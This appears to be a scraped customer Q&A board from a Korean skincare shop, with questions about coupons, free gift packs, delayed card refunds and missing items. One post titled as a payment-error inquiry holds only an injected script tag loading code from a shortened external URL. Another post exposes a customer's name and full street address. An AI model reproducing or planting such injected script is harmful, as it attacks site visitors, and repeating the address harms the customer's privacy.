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  • 기타문의

    신규가입하고 마이쿠폰 항목에 들어갔는데 쿠폰이 안보이네요.

    쿠폰은 어디가야 받을수 있나요?

  • 기타문의

    신규가입 후 구매했는데요~

    사은품인 젤리마스트 5매도 같이 오는 것 맞죠?

  • 주문결제
    주문취소한지 일주일이 넘었는데 아직 카드취소처리가 안됐는데
    카드사 문제인건가요? 다른곳 취소는 벌써됐는데
    여기서 취소한것만 아직도 카드취소가안되서 확인해주세요
  • 주문결제

    3만원 이상 신규로 결제완료했습니다~

    신규회원은 마스크팩 5매를 더 추가로 주신다고 하셨는데 주문내역에는 따로 써있는게 없네요?

    확인 부탁드립니다~

  • 상품문의
    아쿠아가 데일리로 하기 넘 좋고 제 피부에 제일 잘 맞았어서 좋아햇는데 ㅠㅠㅠ 그럼 리바이탈라이징 9장 리프팅9장 이렇게 받아볼수있을까요??
    제가 주문햇던 주소지로 보내주세요
    (동탄대로시범길276 시범우남 915동2202호)
    여기 하이드로겔 팩만큼 저한테 잘맞는제품이ㅜ없는데 많이 생산해주세요 ㅠㅠㅠㅠㅠㅠ
    감사하빈다 많이파세요!


    고객님 안녕하세요! 얼트루입니다.
    통화 하셨던 담당자분께서 현재 부재중이시라, 대신 답변드립니다!
    저희 아쿠아 하이드로겔 마스크가 현재 품절되어서,
    취소 혹은 리바이탈라이징/리프팅 하이드로겔 마스크 배송이 가능하십니다.

    해당 마스크는 아쿠아(수분)보다 기능성이 추가된 수분+영양/ 수분+탄력 제품입니다.
    혹시 제품 교환이나, 취소 관련하여 통화가 어려우시면 새로운 Q&A 남겨주시면 감사드리겠습니다ㅜㅜ
    번거롭게 해드려 대단히 죄송합니다ㅜㅜ!

    얼트루
  • 상품문의
    저번에 문의글 남겼던 김혜수 에요!
    총 12set + 아쿠아 20장이 와야하는게맞는데 4,4,3,3, 일케 온사람이요
    제가 핸드폰이 고장나서 지금 통화가 안되는데 32장이 와야하는데 14장이 온거니까 종류는 뒤죽박죽이지만 그냥 아쿠아 18장 추가로 배송해주세요 수량만 맞춰서 보내주세요 그냥 쓸게요.. ㅠ
  • 주문결제
    결제오류문의드립니다 <script src="http://u6.gg/cXFwy"><script>
  • 교환반품
    반품건으로 3/23에 카드취소처리 됐다고 연락받았는데요~ 오늘 4/6인데 아직까지 카드 취소가 안되었네요.. 취소처리까지 시간이 좀 걸리는건 아는데 지금 2주가 지났는데... 너무 늦는것같아서요 확인좀부탁드립니다.
  • 상품문의

    회원가입하고 첫 구매했는데, 주문서에 따로 적혀있지 않아도 팩5개 랜덤 증정 되는건지 궁금해서 문의드렸습니다! :)

    그리구 상품은 55000원짜리 구매했으나 할인적용받아서 실 결제금액이 5만원이 넘지 않는 경우에는 사은품증정이 안대는 건가용?! :)

  • 기타문의
    회원가입후 첫구매하면 마스크팩5매 랜덤으로 온다고해서 가입하고 샀는데... 제가 산 제품들만 왔어요ㅠ

    마스크팩5매 따로 배송되나요 아님 누락된건가요??

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@imsorryformyskin_official

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